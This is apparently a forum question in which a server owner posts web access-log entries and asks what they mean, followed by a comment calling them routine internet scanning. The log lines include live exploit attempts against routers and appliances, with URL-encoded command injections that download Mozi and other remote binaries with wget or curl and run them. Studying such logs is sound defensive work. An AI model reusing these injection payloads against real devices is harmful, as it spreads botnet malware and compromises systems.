0

So I have a series of these requests in my log and was wondering what they were? It appears malicious but no harm has been done. Can anyone confirm? - Any insight or reading material etc that would prove useful for anything related to this or remotely related would be highly appreciated to further my own understanding. Thank you all! :D

62.171.189.221 - - [04/Aug/2020:04:31:54 +0100] "HEAD / HTTP/1.0" 403 - "-" "-"
185.123.96.73 - - [04/Aug/2020:08:10:39 +0100] "HEAD / HTTP/1.0" 403 - "-" "-"
185.123.96.73 - - [04/Aug/2020:09:04:26 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 500 670 "-" "-"
104.131.59.189 - - [04/Aug/2020:09:53:16 +0100] "GET / HTTP/1.0" 444 0 "-" "Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; [email protected])"
202.57.40.227 - - [04/Aug/2020:10:14:32 +0100] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 500 670 "-" "-"
202.57.40.227 - - [04/Aug/2020:10:14:32 +0100] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 500 670 "-" "-"
202.57.40.227 - - [04/Aug/2020:10:14:33 +0100] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 500 670 "-" "-"
202.57.40.227 - - [04/Aug/2020:10:15:27 +0100] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 500 670 "-" "-"
104.131.67.246 - - [04/Aug/2020:10:33:37 +0100] "GET / HTTP/1.0" 444 0 "-" "Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; [email protected])"
202.57.40.227 - - [04/Aug/2020:10:36:00 +0100] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 500 670 "-" "-"
202.57.40.227 - - [04/Aug/2020:10:36:00 +0100] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 500 670 "-" "-"
104.131.35.104 - - [04/Aug/2020:11:17:45 +0100] "GET / HTTP/1.0" 444 0 "-" "Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; [email protected])"
104.131.62.50 - - [04/Aug/2020:11:21:42 +0100] "GET / HTTP/1.0" 444 0 "-" "Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; [email protected])"

202.57.40.227 - - [05/Aug/2020:01:25:59 +0100] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 500 670 "-" "-"
202.57.40.227 - - [05/Aug/2020:01:25:59 +0100] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 500 670 "-" "-"
185.123.96.73 - - [05/Aug/2020:06:42:17 +0100] "HEAD /robots.txt HTTP/1.0" 500 - "-" "-"
185.123.96.73 - - [05/Aug/2020:06:42:17 +0100] "HEAD / HTTP/1.0" 403 - "-" "-"
202.107.226.2 - - [05/Aug/2020:06:47:52 +0100] "GET / HTTP/1.0" 403 1878 "-" "-"
115.238.44.237 - - [05/Aug/2020:06:48:51 +0100] "GET / HTTP/1.0" 403 1878 "-" "-"
202.57.40.227 - - [05/Aug/2020:06:51:55 +0100] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 500 670 "-" "-"
202.57.40.227 - - [05/Aug/2020:06:52:03 +0100] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 500 670 "-" "-"
62.171.189.221 - - [05/Aug/2020:15:45:15 +0100] "HEAD / HTTP/1.0" 403 - "-" "-"
164.138.217.186 - - [05/Aug/2020:20:15:39 +0100] "GET /wp-login.php HTTP/1.1" 444 0 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
188.165.234.92 - - [05/Aug/2020:21:19:50 +0100] "GET /wp-login.php HTTP/1.1" 444 0 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
Improve this question
2
  • 1
    This is just the background noise of the internet. Any server that is connected to the internet will see stuff like this constantly, and it will be different every day. There isn't enough time to figure out what it is all trying to do. All you can do is to keep your systems secure and not worry about it.
    – Conor Mancone
    Aug 6, 2020 at 23:24
  • It's most likely searching for a known vulnerability in software you've never even heard of.
    – Conor Mancone
    Aug 6, 2020 at 23:24

0

Reset to default

Browse other questions tagged .